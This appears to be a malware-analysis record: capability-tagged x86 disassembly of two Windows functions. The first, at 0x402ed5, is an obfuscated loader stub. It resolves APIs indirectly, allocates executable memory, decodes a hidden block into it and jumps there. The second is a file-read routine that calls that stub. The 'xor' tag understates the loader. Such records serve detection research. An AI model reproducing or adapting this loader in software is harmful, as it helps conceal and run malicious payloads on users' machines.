Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x402ee4
pop dword [ebp - 0x34]
mov eax, 0x8ac2d9d5
add eax, 0x757d550f
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x26d736af
add dword [ebp - 0x44], 0x277b0e9c
mov dword [ebp - 0x40], 0x67bc5d44
add dword [ebp - 0x40], 0xca76ef01
mov dword [ebp - 0x3c], 0xa5ccf732
sub dword [ebp - 0x3c], 0x5980b304
mov dword [ebp - 0x38], 0x2a795606
add dword [ebp - 0x38], 0xd586a9fa
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xf2d0ff77
sub dword [ebp - 0x44], 0x7e5e9621
mov dword [ebp - 0x40], 0x7a239862
add dword [ebp - 0x40], 0xc748c913
mov dword [ebp - 0x3c], 0xab09304b
add dword [ebp - 0x3c], 0xb8663c21
mov dword [ebp - 0x38], 0x24afbd0e
add dword [ebp - 0x38], 0xdb5042f2
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xae1ffd8f
sub eax, 0xaddf7c8f
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3cbd7
push 0
call eax
mov ecx, 0x6e0b6873
sub ecx, 0x6e0b09a2
mov edx, eax
mov ebx, 0x46e400
add ebx, dword [ebp - 0x34]
mov edi, 0xf858fdf5
add edi, 0xee9a2cc6
xor dword [ebp - 0x20], eax
mov esi, dword [ebx]
sub dword [ebp - 0x10], edx
add esi, edi
xor dword [ebp - 0x18], 0x3cca3138
mov dword [edx], esi
add dword [ebp - 4], 0x5d3feb08
add edx, 4
add ebx, 0x79a1825
sub ebx, 0x79a1821
loop 0x402ffb
add eax, 0x340f715d
sub eax, 0x340e0346
xor ebx, ebx
add ebx, eax
add eax, 0xcec0f88
add eax, 0xf313f07d
mov ecx, 0x8deb38de
sub ecx, 0x8dab38de
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10